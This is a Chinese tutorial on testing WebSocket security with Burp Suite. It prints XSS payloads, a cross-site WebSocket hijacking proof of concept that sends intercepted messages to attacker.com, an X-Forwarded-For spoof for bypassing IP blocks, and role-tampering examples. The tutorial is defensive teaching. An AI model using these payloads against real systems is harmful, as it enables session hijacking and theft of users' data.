WebSocket 安全审计:Burp Suite 拦截与重放 5 类消息漏洞实战
现代 Web 应用越来越依赖 WebSocket 实现实时通信,从在线客服到金融交易系统,其双向全双工特性在提升用户体验的同时也带来了新的安全挑战。本文将系统化拆解如何利用 Burp Suite 对 WebSocket 通信进行深度安全测试,涵盖从基础配置到高阶漏洞挖掘的全套方法论。
1. WebSocket 安全测试环境搭建
在开始漏洞挖掘前,需要完成 Burp Suite 与测试环境的正确配置。以下是关键步骤检查清单:
- Burp 版本验证:确保使用 Burp Suite Professional 2020.1 及以上版本(Community 版缺少主动拦截功能)
- 代理配置:
# 浏览器代理设置示例(Chrome) --proxy-server=127.0.0.1:8080 - SSL 证书安装:对于 wss:// 连接,需将 Burp 的 CA 证书导入系统信任库
- 拦截开关:在 Proxy → Options 中启用 "Intercept WebSocket messages"
常见配置问题排查表:
| 现象 | 可能原因 | 解决方案 |
|---|---|---|
| 抓不到握手请求 | 客户端未走代理 | 检查浏览器/APP代理设置 |
| 无法拦截消息 | 未开启 WebSocket 拦截 | 在 Proxy → Intercept 启用拦截 |
| 消息显示乱码 | 编码格式不匹配 | 尝试切换 UTF-8/GBK 编码 |
提示:遇到连接异常时,可先在 Burp 的 HTTP History 中过滤 "WebSocket" 确认握手是否成功(状态码应为 101 Switching Protocols)
2. WebSocket 消息篡改与 XSS 漏洞挖掘
消息篡改是最基础的测试手段,通过修改传输内容触发前端或后端漏洞。典型测试流程:
- 在浏览器中触发 WebSocket 通信(如发送聊天消息)
- 在 Burp Proxy → WebSockets history 定位目标消息
- 右键选择 "Send to Repeater" 进行深度测试
XSS 漏洞检测 payload 示例:
{ "message": "<img src=x onerror=alert(document.domain)>", "user": "attacker" }实战案例: 某电商客服系统存在存储型 XSS,攻击者可构造特殊消息:
ws.send(JSON.stringify({ "msgType": "customer_service", "content": "<svg/onload=alert(1)>", "from": "user123" }))当客服人员查看历史消息时,XSS payload 将被执行。
3. 消息重放与逻辑漏洞利用
WebSocket 的重放攻击常导致业务逻辑漏洞,测试时需要关注:
- 消息顺序依赖:改变消息时序观察业务状态变化
- 数值篡改:修改交易金额、数量等敏感字段
- 身份伪装:替换消息中的用户标识字段
重放攻击检测矩阵:
| 漏洞类型 | 测试方法 | 风险等级 |
|---|---|---|
| 重复下单 | 重放订单创建消息 | 高危 |
| 余额篡改 | 修改充值金额字段 | 严重 |
| 权限提升 | 替换 role 字段为 admin | 严重 |
自动化测试技巧: 使用 Burp Intruder 对消息字段进行暴力枚举:
GET /chat HTTP/1.1 Host: vulnerable.com Sec-WebSocket-Key: [payload position] Connection: Upgrade Upgrade: websocket4. 握手请求 CSRF 与跨站劫持
WebSocket 握手阶段的 CSRF 防护缺失会导致跨站劫持漏洞,检测要点:
- 检查握手请求是否包含 CSRF token
- 验证 Origin 头校验是否严格
- 测试是否可跨域建立连接
POC 构造示例:
<script> var ws = new WebSocket('wss://victim.com/chat'); ws.onopen = () => ws.send("READY"); ws.onmessage = e => fetch('https://attacker.com/log?'+btoa(e.data)); </script>防护方案对比:
| 方案 | 实现方式 | 有效性 |
|---|---|---|
| CSRF Token | 握手请求携带随机 token | ★★★★★ |
| Origin 校验 | 验证请求来源域名 | ★★★☆☆ |
| 二次确认 | 需要用户交互确认 | ★★☆☆☆ |
5. 敏感信息泄露与未授权访问
通过历史消息分析和连接尝试发现信息泄露:
信息泄露检测步骤:
- 在 WebSockets history 中搜索关键词:
- password
- token
- secret
- key
- 检查错误消息是否暴露堆栈信息
- 尝试未授权连接 WebSocket 端点
未授权访问测试用例:
| 测试场景 | 预期结果 | 实际结果 |
|---|---|---|
| 未登录直接连接 | 应返回 403 | 返回 101 连接成功 |
| 低权限用户访问管理接口 | 应拒绝连接 | 成功建立连接 |
6. 高级技巧:连接操控与协议层攻击
对于复杂场景,需要深入协议层进行测试:
IP 伪造绕过黑名单:
GET /admin/ws HTTP/1.1 Host: target.com X-Forwarded-For: 192.168.1.1 Upgrade: websocket Connection: Upgrade协议降级攻击:
- 修改 Sec-WebSocket-Version 为旧版本
- 移除加密使用 ws:// 协议
- 注入非法 opcode 导致服务端异常
WebSocket 安全加固 checklist:
- [ ] 使用 wss:// 强制加密
- [ ] 握手阶段实施 CSRF 防护
- [ ] 消息内容进行输入过滤
- [ ] 实施严格的 Origin 检查
- [ ] 关闭调试信息输出
在实际项目中,我们曾通过消息重放漏洞在金融系统中发现可无限充值的关键缺陷。通过系统化的测试方法,安全团队能够有效降低 WebSocket 带来的风险敞口。建议结合自动化工具与手动测试,既保证覆盖率又不遗漏深层逻辑漏洞。